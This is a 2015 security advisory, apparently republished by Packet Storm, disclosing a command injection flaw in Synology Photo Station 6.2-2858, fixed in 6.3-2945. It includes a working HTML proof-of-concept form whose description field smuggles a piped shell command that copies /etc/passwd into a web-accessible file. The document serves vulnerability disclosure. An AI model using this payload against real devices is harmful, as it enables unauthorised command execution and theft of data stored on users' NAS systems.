Synology Photo Station 6.2-2858 Command Injection

2015-05-26T00:00:00
ID PACKETSTORM:132049
Type packetstorm
Reporter Securify B.V.
Modified 2015-05-26T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Command injection vulnerability in Synology Photo Station  
------------------------------------------------------------------------  
Han Sahin, May 2015  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A command injection vulnerability was found in Synology Photo Station,  
which allows an attacker to execute arbitrary commands with the  
privileges of the webserver. An attacker can use this vulnerability to  
compromise a Synology DiskStation NAS, including all data stored on the  
NAS.  
  
------------------------------------------------------------------------  
Tested version  
------------------------------------------------------------------------  
This issue was tested on Synology Photo Station version 6.2-2858.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
Synology reports that this issue has been resolved in Photo Station  
version 6.3-2945.  
https://www.synology.com/en-us/releaseNote/PhotoStation  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://www.securify.nl/advisory/SFY20150502/command_injection_vulnerability_in_synology_photo_station.html  
  
Proof of concept  
  
The following proof of concept copies the /etc/passwd file to /var/services/photo/Securify.txt.  
  
<html>  
<body>  
<form action="http://<target>/photo/webapi/photo.php" method="POST">  
<input type="hidden" name="id" value="photo_536168696e_53637265656e2053686f7420323031352d30352d31302061742032322e33342e33352e706e67" />  
<input type="hidden" name="description" value="| cat /etc/passwd > /var/services/photo/Securify.txt " />  
<input type="hidden" name="api" value="SYNO.PhotoStation.Photo" />  
<input type="hidden" name="method" value="edit" />  
<input type="hidden" name="version" value="1" />  
<input type="hidden" name="ps_username" value="admin" />  
<input type="hidden" name="" value="" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
`